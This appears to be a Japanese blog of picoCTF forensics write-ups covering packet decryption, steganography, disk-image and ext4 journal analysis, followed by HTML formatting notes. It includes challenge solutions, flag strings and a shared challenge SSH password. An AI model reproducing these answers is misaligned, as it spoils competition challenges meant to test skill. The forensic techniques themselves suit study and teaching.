    if('IP' in p[i]):
        if (p[i][IP].src == "172.17.0.2"):
            try:
                enc_data.append(p[i][Raw].load)
            except Exception as e:
                enc_data.append(b'\x69')
enc_data = b''.join(enc_data)

shuffle = []
for i in range(len(enc_data)):
        shuffle.append(i)

random.seed(1614044650)
random.shuffle(shuffle)

dec_data = [b"\x00"]*len(enc_data)

k = 0
for b in enc_data:
        random.randrange(65536)
        dec = bytes([b^random.randrange(256)])

        dec_data[shuffle[k]] = dec
        k = k +1

print(b"".join(dec_data))
with open("solved.png", 'wb') as f:
      f.write(b"".join(dec_data))

これで出力されたデータのヘッダーがb'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01\xaa\x00\x00\となっており、PNGデータであることが把握できる。そこで画像を確認すると、flagあり。終了。

できなかった要因。 payloadを全部まとめて一つのファイルに集めることができることを知らなかった。ストリーム以外にもtsharkを用いるとできるようだ。これができていれば一つハードルは下がっていたように思うが、その発想ができなかった。
そしたら、どうにか実行してできたような気がする。負け惜しみです。次はもう少し粘ってみようと思いました。 また、tsharkというより、プログラムで扱うことができたようだ。pwnでもそうだがプログラムでなせることが多いので、手が止まったらそのようなプログラムはできないかを考えてみてもよいかも。

Scan Surprise

I've gotten bored of handing out flags as text. Wouldn't it be cool if they were an image instead?
ということで画像が渡される。それがqrコードなのでそれを読み込むとよいそうだ。(QRコード解析)を使うとできた。

Verify

People keep trying to trick my players with imitation flags. I want to make sure they get the real thing! I'm going to provide the SHA-256 hash and a decrypt script to help you know that my flags are legitimate. You can download the challenge files here: challenge.zip The same files are accessible via SSH here: ssh -p 55515 ctf-player@rhea.picoctf.net Using the password f3b61b38. Accept the fingerprint with yes, and ls once connected to begin. Remember, in a shell, passwords are hidden! Checksum: fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7 To decrypt the file once you've verified the hash, run ./decrypt.sh files/.

つまり、与えられているファイルのsha256で正解のファイルを当てるという問題。(SHA256ハッシュ値を確認する)から、linuxでのsha256の確認方法が分かった。ctf-player@pico-chall$ sha256sum ./files/*とするとフォルダ内にあるファイルのハッシュ値を得られる。この中から正解のハッシュ値を探すのはgrepコマンドですね。ctf-player@pico-chall$ sha256sum ./files/*|grep fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7としたら該当ファイルがヒットする。それを./decrypt.shにかければ終了。

CanYouSee

How about some hide and seek? Download this file here.
ということで、画像が渡された。初手しますか。

└─# file ukn_reality.jpg
ukn_reality.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 4308x2875, components 3
└─# strings ukn_reality.jpg |grep pico
└─# binwalk ukn_reality.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

あらかたはやったが特に異常なし。 (Aperi'Solve)にぶち込んだ。steghideに反応あり、そして、stringsコマンドのところが少し気になる。grepしないでやるべきだった。

└─# steghide extract -sf ukn_reality.jpg
Enter passphrase:
wrote extracted data to "flag".

抽出できた。The flag is not here maybe think in simpler terms. Data that explains data.だそうです。違う。stringsを見る。

└─# strings ukn_reality.jpg | head -n 20
JFIF
7http://ns.adobe.com/xap/1.0/
<?xpacket begin='
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 11.88'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:cc='http://creativecommons.org/ns#'>
  <cc:attributionURL rdf:resource='cGljb0NURntNRTc0RDQ3QV9ISUREM05fM2I5MjA5YTJ9Cg=='/>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>

最初らへんに何かしらのコードが書かれている。
気になるのは中断の==で終わるrdf:resourceである。これをcyberchefに入れたらflag出てきた。終了。

Secret of the Polyglot

The Network Operations Center (NOC) of your local institution picked up a suspicious file, they're getting conflicting information on what type of file it is. They've brought you in as an external expert to examine the file. Can you extract all the information from this strange file? Download the suspicious file here.
ということでPDF形式のファイルを渡された。解析していく。

flag2of2-final.pdf: PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced

pdfと思いきやpng画像のようだ。stringsでそれらしい文字列がないかをgrepしたがなさそう。hexdump -v -C flag2of2-final.pdfをしてみると下らへんに可読文字がたくさんあった。これといってわからない。 よくはわからない。さて、まず、拡張子をpngに変えてみてみるとflagらしきものが見えた。picoCTF{f1u3n7_ 画像系で疑うはステガノグラフィーである。binwalkしてみる。

└─# binwalk flag2of2-final.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 50 x 50, 8-bit/color RGBA, non-interlaced
914           0x392           PDF document, version: "1.4"
1149          0x47D           Zlib compressed data, default compression

何かしらのpdfが埋め込まれている。抽出してみてみるとなんかflagのかけらのようなものが見える。繋げたらflagだった終了。

Mob psycho

Can you handle APKs? Download the android apk here.
ということで、ファイルが渡された。初手をしましょう。

└─# file mobpsycho.apk
mobpsycho.apk: Zip archive data, at least v1.0 to extract, compression method=store

zip形式のようだ。stringsコマンドではいい感じのものはなかった。

知識(android apk)
android apk (APKファイル)を参考にした。アンドロイドのアプリのインストールするのはこれをインストールしているようだ。そんあファイル。

grepコマンドでいろいろ探したがなさそう。flagをキーにしたらres/colorというところにflag.txtあり。それをcyberchefに投げたら終了。

Dear Diary

If you can find the flag on this disk image, we can close the case for good! Download the disk image here.

初手は初手です。

└─# file disk.flag.img
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0x26,94,56), startsector 2048, 614400 sectors; partition 2 : ID=0x82, start-CHS (0x26,94,57), end-CHS (0x47,1,58), startsector 616448, 524288 sectors; partition 3 : ID=0x83, start-CHS (0x47,1,59), end-CHS (0x82,138,8), startsector 1140736, 956416 sectors

3つのセクタに分かれているようだ。

└─# mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000616447   0000614400   Linux (0x83)
003:  000:001   0000616448   0001140735   0000524288   Linux Swap / Solaris x86 (0x82)
004:  000:002   0001140736   0002097151   0000956416   Linux (0x83)

オフセットが分かった。

└─# fls disk.flag.img -o 2048
d/d 11: lost+found
r/r 13: ldlinux.sys
r/r 14: ldlinux.c32
r/r 16: config-virt
r/r 17: vmlinuz-virt
r/r 18: initramfs-virt
l/l 19: boot
r/r 21: libutil.c32
r/r 20: extlinux.conf
r/r 22: libcom32.c32
r/r 23: mboot.c32
r/r 24: menu.c32
r/r 15: System.map-virt
r/r 25: vesamenu.c32
V/V 76913:      $OrphanFiles
└─# fls disk.flag.img -o 616448
Cannot determine file system type
└─# fls disk.flag.img -o 1140736
d/d 32513:      home
d/d 11: lost+found
d/d 32385:      boot
d/d 64769:      etc
d/d 32386:      proc
d/d 13: dev
d/d 32387:      tmp
d/d 14: lib
d/d 32388:      var
d/d 21: usr
d/d 32393:      bin
d/d 32395:      sbin
d/d 32539:      media
d/d 203:        mnt
d/d 32543:      opt
d/d 204:        root
d/d 32544:      run
d/d 205:        srv
d/d 32545:      sys
d/d 32530:      swap
V/V 119417:     $OrphanFiles

となっている。3番目のやつにflagがありそうですね。簡単にgrepでflagらしきものを調査したが、なさそう。 autopsyで見ていく。といっても簡単にはできなさそう。400点ですもんね。
でも、root配下にあるものは何やら手掛かりになりそう。

└─# fls -r disk.flag.img 204 -o 1140736
r/r 1837:       .ash_history
d/d 1842:       secret-secrets
+ r/r 1843:     force-wait.sh
+ r/r 1844:     innocuous-file.txt
+ r/r 1845:     its-all-in-the-name

innocuous-file.txtが気になるが0byteである。削除されているようだ。

└─# icat disk.flag.img 1837 -o 1140736
ls -al ..
./force-wait.sh

force-wait.shが実行されている。

└─# icat disk.flag.img 1843 -o 1140736
#!/bin/ash

sleep 10

10秒間止まるだけ。関係あるのだろうか?its-all-in-the-nameinnocuous-file.txtは何も表示されなかった。ログを確認してみる。/var/log/messageには起動した形跡が2回あっただけで不審なのはない。(Linux Forensics)を参考にファイルを見ていく。

タイムライン解析を行っているが、いまいち中身にたどり着けない。rootのsecretディレクトリへのアクセスが行われているが、どのような内容化までは把握できない。
writeUpを確認した( picoCTF 2024 - Writeup)。ジャーナルファイルがあることを気にしていた。なにか聞いたことある。

知識(USNジャーナル)
USNジャーナル (USNジャーナル解析の追求)を参考にした。「ファイル/フォルダに対する変更処理を記録」だそうだ。

よくNTFSファイルシステムでも$Jファイルを解析することがあるが、これは変更内容を記録していたのね。それがwindowsだけでなくlinuxファイルシステムにも同様にあるようだ。初知り。

└─# fsstat -t disk.flag.img -o 2048
ext4

ext4ファイルシステムでのジャーナルを見れば答えにたどりつけるようだ。難しい。

└─# icat disk.flag.img -o 1140736 8 | cat | grep innocuous-file.txt -a
�x���� ����������՚�e���2
                        .�
force-wait.sh4�innocuous-file.txt
��                               ��`I
  ]�epysepyse/bin/busybox�mE�� B�� n�� n��!cpyse� n���
                                                      pysepysepyse/bin/busyboxO}���O �
                                                                                      � n�� n�� n�pyse� n���
                                                                                                            pysepysepyse/bin/busybox��O�z^ �*� n�� n�� n�pyse� n���
                                           ��epysepyse/bin/busybox      �;��� DŽ� n�� n�����pyse� n��;9�ٻ�|e��9p�"�;9� ��~��
�x���� ����������՚�e���2
                        .�
force-wait.sh4innocuous-file.txt5�original-filename
                                                   �]����;9�!�Ǧe��4��I�;9�")���㋀��^�e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh48innocuous-file.txt5�pic
                                      މ�Gɤ���e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4innocuous-file.txt5�oCT
                                     �7�#����e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4(innocuous-file.txt5�F{1
                                      �j�Tn����e�e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4innocuous-file.txt5�_53
                                     ��c�^����eD�e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4(innocuous-file.txt5�3_n
                                      ޤ������e]�e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4innocuous-file.txt5�4m3
                                     ��|␦�����ev�e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4(innocuous-file.txt5�5_8
                                      ޭ�B����e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4innocuous-file.txt5�0d2
                                     �'�;�����e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4(innocuous-file.txt5�4b3
                                      ބ�3g����e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4innocuous-file.txt5�0}
                                    �1�"����e��e��e
�x���� ����������՚�e���2
                        .�
force-wait.sh4(innocuous-file.txt5�its-all-in-the-name
                                                      �f�⤁��e�e��e

force-wait.sh48innocuous-file.txt5�の後ろにflagのようなものが見れる。これをつなげばflagのようだ。終了。

感想 windowsでも$Jを解析したことがある。それの役割を理解していればそれをlinuxでも探せばいいというように考えればよかった。つまり、linuxにもprefetchのようなものもあると考えれるかもしれない。

ここ以降未解決

File types

This file was found among some files marked confidential but my pdf reader cannot read it, maybe yours can. You can download the file from here.という言葉とともにpdfファイルを渡された。

初手はfile,stringsコマンド
 シェルで実行するようなファイルのようだ。

とりあえず実行してみる。
実行したら手に入るみたいな簡単なものではなさそう。仕様をちゃんと理解することが大切そう。 よく見てみていたらもしかしたら、渡されたファイルに何かしら埋め込まれているのではないかと思った。 binwalkしてみる。 抽出をやってみたが抽出できない。何かしら制限されているのかも?
 ここで実行したときの出力から何かのdirectoryを作ってることがわかる。もし先に作っておくと画像のような出力になった。
つまり、x-は実行したことを表していると考えられる。そして、実行されているのは

となっているようだ。抽出の時には実行したファイルの中のuudecodeを調べている。そして、flagを保存できず。MD5チェックも失敗している。

知識
MD5 ハッシュ関数であるMD5を通して出力される値。 MD5チェックサム

ここまではわかったがこれ以降手詰まり。hintsを拝見。Remember that some file types can contain and nest other files.つまり、ファイル形式によって入れ子でファイルを作れるということ?逆に言えば、pdfファイル形式ではそれを表せていないということ?でも、埋め込まれているのなんか前もあったはずや。
んーって感じです。ちと、writeup見てみた。uudecodeというものに注目していた。いわれてみれば引っかかっていた。(uudecodeについて)。なにやら、そういうツールのようだ。(uudecodeインストール) uudecodeをインストールしたのちに実行したらflagファイルが現れた。(ほかのファイルは拡張子を変えればよいと考えいろいろ変えていた残骸です。)さて、出てきたflagファイルにfileコマンド。

arアーカイブだそうだ。これをどうするんや?arについて調べる。

知識
ar arについていろいろ書いてる。 ar - 静的なライブラリファイルを作成する

というわけで、ar x flagアーカイブを展開。そうすると何も変化なし!?もう一度flagファイルにfileコマンド。

cpioアーカイブというものになっている。
この問題はまだまだ続きそうです。
[2023/08/21]

UnforgottenBits

Download this disk image and find the flag.ということで、いつもの初手。

└─# file disk.flag.img
disk.flag.img: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x82, start-CHS (0xc,223,20), end-CHS (0x2d,130,21), startsector 206848, 524288 sectors; partition 3 : ID=0x83, start-CHS (0x2d,130,22), end-CHS (0x82,138,8), startsector 731136, 1366016 sectors
└─# mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000731135   0000524288   Linux Swap / Solaris x86 (0x82)
004:  000:002   0000731136   0002097151   0001366016   Linux (0x83)
└─# fls disk.flag.img -o 2048
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585:      $OrphanFiles
└─# fls disk.flag.img -o 731136
d/d 7130:       home
d/d 11: lost+found
d/d 12: boot
d/d 7121:       etc
d/d 7122:       proc
d/d 7123:       dev
d/d 7124:       tmp
d/d 7125:       lib
d/d 7126:       var
d/d 7127:       usr
d/d 7128:       bin
d/d 7129:       sbin
d/d 7131:       media
d/d 7132:       mnt
d/d 7133:       opt
d/d 7134:       root
d/d 7135:       run
d/d 7136:       srv
d/d 7137:       sys
d/d 2349:       swap
V/V 42721:      $OrphanFiles

という感じでpicoCTFではよくある形というった感じ。 一応、homeとrootを確認。

└─# fls -r disk.flag.img 7130 -o 731136
d/d 24: yone
+ r/r 2362:     .ash_history
+ d/d 2364:     notes
++ r/r 2365:    1.txt
++ r/r 2366:    2.txt
++ r/r 2408:    3.txt
+ d/d 2360:     Maildir
++ d/d 2368:    new
+++ r/r 2369:   1673722272.M424681P394146Q14.haynekhtnamet
++ d/d 2370:    tmp
++ d/d 2371:    cur
+++ r/r 2372:   1673722272.M354727P394146Q3.haynekhtnamet:2,S
+++ r/r 2373:   1673722143.M758346P394112Q1.haynekhtnamet:2,S
+++ r/r * 2362(realloc):        1673722272.M376010P394146Q6.haynekhtnamet:2,S
+++ r/r 2375:   1673722272.M418711P394146Q13.haynekhtnamet:2,S
+++ r/r 2376:   1673722272.M362142P394146Q4.haynekhtnamet:2,S
+++ r/r 2377:   1673722272.M413082P394146Q12.haynekhtnamet:2,S
+++ r/r 2378:   1673722272.M388674P394146Q8.haynekhtnamet:2,S
+++ r/r 2379:   1673722272.M382945P394146Q7.haynekhtnamet:2,S
+++ r/r 2380:   1673722272.M406783P394146Q11.haynekhtnamet:2,S
+++ r/r 2381:   1673722272.M394284P394146Q9.haynekhtnamet:2,S
+++ r/r * 2410: 1673722272.M350117P394146Q2.haynekhtnamet:2,S
+++ r/r * 2411: 1673722272.M400456P394146Q10.haynekhtnamet:2,S
+++ r/r 2384:   1673722272.M345699P394146Q1.haynekhtnamet:2,S
+++ r/r 2385:   1673722272.M370158P394146Q5.haynekhtnamet:2,S
+ d/d 2374:     irclogs
++ d/d 2382:    01
+++ d/d 2383:   04
++++ r/r 2386:  #avidreader13.log
++ d/d 2387:    02
+++ d/d 2388:   09
++++ r/r 2389:  #leagueoflegends.log
+++ d/d 2390:   07
++++ r/r 2391:  #leagueoflegends.log
+++ d/d 2392:   25
++++ r/r 2393:  #leagueoflegends.log
+++ d/d 2394:   17
++++ r/r 2395:  #leagueoflegends.log
+++ d/d 2396:   04
++++ r/r 2397:  #leagueoflegends.log
++ d/d 2398:    07
+++ d/d 2399:   17
++++ r/r 2400:  #common.log
+ d/d 2401:     .lynx
++ r/r 2402:    browsing-history.log
+ d/d 2403:     gallery
++ r/r 2404:    2.bmp
++ r/r 2405:    3.bmp
++ r/r 2406:    7.bmp
++ r/r 2407:    1.bmp
└─# fls -r disk.flag.img 7134 -o 731136
r/r 2356:       .ash_history

rootの履歴も気になるけど、homeの.bmpも気になる。
ここからはautopsyを用いて調査していく。 rootの履歴はいいものがなかったので、homeを見てみる。

  • irclogs : 会話形式のログ
  • maildir : メールのやり取りのようなもの(cur,new)
  • .lynx : browsing-history.log
  • gallery : bmp拡張子の画像が4枚。
  • notes : txt形式のものが3つ。書かれている意味は分からない。

ここからの方針

この4つで考えていく。 ・フォレンジックのよくあるのは画像からflagを見つけること。
まずはbinwalkをしていく。

└─# binwalk 1.bmp

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PC bitmap, Windows 3.x format,, 1024 x 1024 x 24
└─# binwalk 2.bmp

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PC bitmap, Windows 3.x format,, 1024 x 1024 x 24
└─# binwalk 3.bmp

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PC bitmap, Windows 3.x format,, 1024 x 1024 x 24
374391        0x5B677         ZBOOT firmware header, header size: 32 bytes, load address: 0x3E463E43, start address: 0x393F453C, checksum: 0x3F373840, version: 0x333D3337, image size: 808466480 bytes
973590        0xEDB16         HPACK archive data
1004337       0xF5331         HPACK archive data
1007406       0xF5F2E         HPACK archive data
1047390       0xFFB5E         HPACK archive data
1188423       0x122247        ZBOOT firmware header, header size: 32 bytes, load address: 0x3840393C, start address: 0x27303830, checksum: 0x1D16262E, version: 0x050D0515, image size: 768 bytes
2483766       0x25E636        ZBOOT firmware header, header size: 32 bytes, load address: 0x3C423940, start address: 0x30373D34, checksum: 0x32283238, version: 0x2A30272E, image size: 606613029 bytes
2508345       0x264639        ZBOOT firmware header, header size: 32 bytes, load address: 0x3D433A42, start address: 0x31383E35, checksum: 0x332A3539, version: 0x292F262D, image size: 572992804 bytes
└─# binwalk 7.bmp

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PC bitmap, Windows 3.x format,, 1024 x 1024 x 24
1108489       0x10EA09        Intel x86 or x64 microcode, sig 0x24054525, pf_mask 0xe023317, 1C08-09-34, rev 0x1e0e0105, size 262656

3と7から抽出できそう。 まずは7から。

└─# binwalk -D='.*' 7.bmp --run-as=root

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PC bitmap, Windows 3.x format,, 1024 x 1024 x 24
1108489       0x10EA09        Intel x86 or x64 microcode, sig 0x24054525, pf_mask 0xe023317, 1C08-09-34, rev 0x1e0e0105, size 262656

実行したが、直接的なflagはなさそう。 次に3。

└─# binwalk -D='.*' 3.bmp --run-as=root

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PC bitmap, Windows 3.x format,, 1024 x 1024 x 24
374391        0x5B677         ZBOOT firmware header, header size: 32 bytes, load address: 0x3E463E43, start address: 0x393F453C, checksum: 0x3F373840, version: 0x333D3337, image size: 808466480 bytes
973590        0xEDB16         HPACK archive data
1004337       0xF5331         HPACK archive data
1007406       0xF5F2E         HPACK archive data
1047390       0xFFB5E         HPACK archive data
1188423       0x122247        ZBOOT firmware header, header size: 32 bytes, load address: 0x3840393C, start address: 0x27303830, checksum: 0x1D16262E, version: 0x050D0515, image size: 768 bytes
2483766       0x25E636        ZBOOT firmware header, header size: 32 bytes, load address: 0x3C423940, start address: 0x30373D34, checksum: 0x32283238, version: 0x2A30272E, image size: 606613029 bytes
2508345       0x264639        ZBOOT firmware header, header size: 32 bytes, load address: 0x3D433A42, start address: 0x31383E35, checksum: 0x332A3539, version: 0x292F262D, image size: 572992804 bytes
└─# strings 5B677 | grep pico
xo}vo{yo}vn|umztlyrlyrlyrjxqjxqjxqiwplyrlyrlyrlyrlxqlxqlyrlxqlxqlxqlxqlxqiwpkvpjuoitnhsmhsmhtkeqjgrkbpicofbmgalf^jb\ga\ga[f`[f`[f`[f`[f`[f`[f`[f`^i^\h_\ga[f`[f`[f`[f`[d\[d\Yc[Yc[XbZYc[XbZWaXWbWWaXWaXWaXWaXV`WV`WV`WV`WU^VU^VU^VV`WU^VU^VT]UT]UR\TR\TQ[SQ[SPZQPZQPZQPZQRYQPZQPZQPZQOYPNWOMVNKUMJUJHRHFPEFPEDODBMB@J??I>:F>9F;7D85E70?4.<3@OJ

picoという文字があるのは5B677、EDB16に見られた。 でもあまりよさげなのはない。 まだ難しいようだ。他の問題を解いてから行おうと思う。

St3g0

Download this image and find the flag. 画像が渡されている。そこからflagを探す。
見ただけではすぐには見るからない。画像系の問題よくわからぬ。

Milkslap

(🥛)というURLに飛ばされる。そこでは男性が牛乳をかけられている動画が流れている。

なんも思いつかない。フォレンジックなのだろうか。多分ステガノ系だと思う。後回し。

Very very very Hidden

Finding a flag may take many steps, but if you look diligently it won't be long until you find the light at the end of the tunnel. Just remember, sometimes you find the hidden treasure, but sometimes you find only a hidden map to the treasure.といことでやっていく。

IPv6プロトコルも少なからずあるがIPv4が大半。UDPよりTCPが多い。UDPの方が気になっています。

エンドポイントは多い。複数人がやり取りしているのだろうか?


192.168.1.189が複数ポートで多くやり取りしているのが目立つ。443portが多いのも気になる。

知識(443ポート)
443ポート (「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典)を参考にした。HTTPSの通信が行われるときに使用されるポートのようだ。

つまり、HTTPS通信が多く行われているようだ。中身見れるのだろうか?tcp.port == 443でフィルタしたら、やはりTLSv1.3で通信が行われているので中身は見れそうにない。そこでふと見ていると、httpでデータをやり取りしてるのが目についた。


こっちの方が一連のやり取りが分かりやすい。

  • /NothingSus/httpではHelloという言葉しか受け取っていない。
  • /favicon.ico HTTPは404not Foundということで何も受け取っていない
  • /NothingSus/duck.png では画像を受け取っている。
  • /NothingSus/evil_duck.png でも画像を受け取っている。
  • /では特に何も受け取っていない。
知識(HTTPステータスコード一覧)
HTTPステータスコード一覧 (HTTPステータスコード一覧と リクエストとレスポンスの意味を解説)を参考にした。クライアントエラーや300のリダイレクトなどは知っておくとためになると思った。

オブジェクトをエクスポートでhttpを選択し、duck.pngとevil_duck.pngを抽出した。ここから、ヒントを抽出するのだと考えられる。画像系の問題は苦手。他の画像系の問題を解いてから再度しようか迷うレベルで苦手。
こちらがduck.png

こちらがevil_duck.pngである。 evil_duck.pngの方がぼやけているので、何からの情報が埋め込まれているように感じる。
filestringsコマンドでもめぼしい情報はなさそう。

└─# binwalk evil_duck.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1223 x 812, 8-bit/color RGB, non-interlaced
2862          0xB2E           Zlib compressed data, compressed

binwalkすると圧縮データありそう。

└─# binwalk duck.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1223 x 812, 8-bit/color RGB, non-interlaced

ちなみにduck.pngを見てみると圧縮データがないので、やはり怪しい。

└─# file B2E-0
B2E-0: zlib compressed data

ということで圧縮データを抽出できた。ここで気になったのが、pngにはそもそもzlibが入っているのではないかということ。

知識(pngとzlib)
pngとzlib (PNG を読んでみた)を参考にした。pngは圧縮されたものをIDATチャンクに含んでいるようだ。

つまり、今回の画像もただ画像の圧縮データが入っているだけではないのだろうか?でも、圧縮しているのにサイズが大きくなっているのは気になる。
0.pngとB2E-0を比較しても、少し圧縮されているのということは、やはりそもそも何かしら埋め込まれいると考えるのがよさそう。(CTFにおけるステガノグラフィ入門とまとめ)を参考に何かできないかを探った。(Aperi'Solve)に画像を入れてみた。
と結果が出た。下の方にはこれといった情報はないように思ったが、passwordにHelloとあるのが気になる。最初のHTTp通信の内容もHelloだったのでパスワードとなるのは合点がいく。
しかし、このパスはどこで使うのかはわからない。TLS通信とQUIC通信が暗号化されているようだ。

知識(QUIC)
QUIC (QUICプロトコルとは?次世代プロトコルのメリットと使い方を解説)を参考にした。UDPを安全に高速にするためのプロトコルのようだ。

少し迷走する。 54.147.39.126と192.168.1.189ではhttp通信以外に多量の80ポートと53177ポートのやり取りがある。しかし、重要そうなのはhttp通信での画像のやり取りっぽい。tlsやquicの復号には(WiresharkでのQUICの復号(decrypt))からkeylogファイルやTLSでは秘密鍵が必要である。

もう少し、抽出した画像を調べるのがよさそう。

知識(favicon.ico)
(「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典)を参考にした。ホームページのアイコンのようだ。

favicon.icoを欲していたので、最初から画像を欲しているようだ。
探しているときに先とは違いip.addr == 104.21.2.183にGET /HTTPリクエストをしている。

しかし、手に入らない(存在しない)と分かった後に、443ポートでやり取りしている。つまり、80パートではなく443ポートに移動していたということだろうか。

また、ここで、powershellという言葉が出ていることに気づいた。あまり有益な情報はなさそう。 DNS系のログを眺めているが、あまり重要そうでない。

TLSを復号するためには秘密鍵かpre-master-secretが必要なようだ。 QUICを復号するにはkeylogが必要なようだ。
この事から、パケットからこれらを生成できないかを目標に取り組んでいる。 QUICではchromeが関係しているようだ。(WiresharkでのQUICの復号(decrypt))

一日おいて考えたことは今までに見たことのないQUIC通信は気になる。また、2枚の画像は相変わらず気になる。
ここでhintsを2みた。

  • I believe you found something, but are there any more subtle hints as random queries?
  • The flag will only be found once you reverse the hidden message.

であった。ランダムクエリはあっただろうか?また、2番は隠されたメッセ―ジをリバースして見れるようだ。わからぬ。 writeup(picoCTF2021 [Forengics] writeup)を見た。powershellステガノグラフィーがキーだったようだ。何かしらのツールを入れるとできるようだ。あんまりわからないので今回は保留で。

反省 ぶっちゃけ、画像系の問題は苦手だ。powershell関係のログがあるのは気が付いているがそこからステガノグラフィーとの関係に持っていく発想は難しい。また、ツールも複数ある中で探すのも難しい。パケットの方に注視していたので、潔くwriteup見てよかった。あのまま続けていても答えは出なかっただろう。画像系を進めるか、ほかの問題を進めるかは悩ましい。

endianness-v2

Here's a file that was recovered from a 32-bits system that organized the bytes a weird way. We're not even sure what type of file it is. Download it here and see what you can get out of it
ということでよくわからないファイルが渡された。

└─# file challengefile
challengefile: data

特になし。

└─# strings challengefile
 '.$
#,")7(
410,'
4428=943.<
!2222222222222222222222222222222222222222222222222
)('&654*:987FEDCJIHGVUTSZYXWfedcjihgvutszyxw
5*)(9876EDC:IHGFUTSJYXWVedcZihgfutsjyxwv
H%..
PEIZn
Zm}m!aJ
bzh\
[JRd
8YQi
sr.PE
i>X[
Aeyv
l\gJQ
^z,Z
75WX
 uWIU
a{!x
4erk7
O;$!
z<YY
W[.7
R=+k
f5os
ih{I[
[jc4
Vrcn
-oeb
YI0K
[J&c
aJ"+
-       d;

最初らへんが少し気になるがこんな感じ。

HTML練習用

  1. なんぞや
  2. なんぞそれ
  3. それそれ

 

大見出し試し。

文章

中見出し

文章

小見出し

文章

URL

URLの処理なし

参考https://www.notitle-weblog.com/use-html-hatena/

URLの処理あり

<a>と</a>の間の~がリンクみたいになっている

"の処理に気を付けえること

参考にしたもの

リンクへの飛ばし方が別のウィンドウを開いてくれる。

参考にしたもの

これが一番驚いた。こうやって飛ばすことができるんですね

同じページ内の特定の場所にリンクを飛ばすことができます。

大見出し<h3>のh3の横id="名前"とidを指定することでできるようになるらしい

そして<a href=”#名前> ~ </a>でリンク元を記述できる。すげー。

ちなみに<と>はその文字でやってしまうと記法のやつと読み取られてしまうので,&ltに;をつけたもので表現できた。

ほかの方法ありそう。後々学べるでしょう

では、一番上の見出しに飛ばしてみましょう

一番上の見出しに戻す

ただ一番上に戻すだけの方法もあるようだ一番上に戻す

これで目次を作ることができるらしい。わくわくが止まりません。

枠について

枠を使いたいので枠について理解しようとおもいました。

CSSに使いたいコードのもとを記述してからhtmlに張り付けするようだ

https://www.haurin-zatunenlife.com/entry/box-taitorutuki

ただこのままだとコードをいちいちコピペしないといけない。他の方法があるようだ。

その名は定型文登録

横のサイドバーからプラスで定型文登録をおん そして、新しく作るに題名とコードをコピペ。 これで定型文貼り付けから選択して、貼り付けを押すとそのコードが貼り付けされる。すげー。

https://smatech.hatenablog.com/entry/blog-kakomi-waku

では実際に試行錯誤。

横道(ビットマップ)

画像や文字データの形式はビットマップ画像とベクタ画像がある。

https://wa3.i-3-i.info/word1653.html

ビットマップのデータ構造の話をしましょう。

bitmapファイルはファイルヘッダ(14byte)、情報ヘッダ(40byte)(←bitmapの種類で変わる。)、パレットデータ(情報ヘッダのパレット数で変化する4byteずつ変化)、画像データ(任意)の4つの部分から構成されている。

【バイナリファイル入門】Bitmapファイルを手書きで作って遊んでみる - Qiita

このサイトめちゃくちゃわかりやすかった。

これで行こう

ここにかく

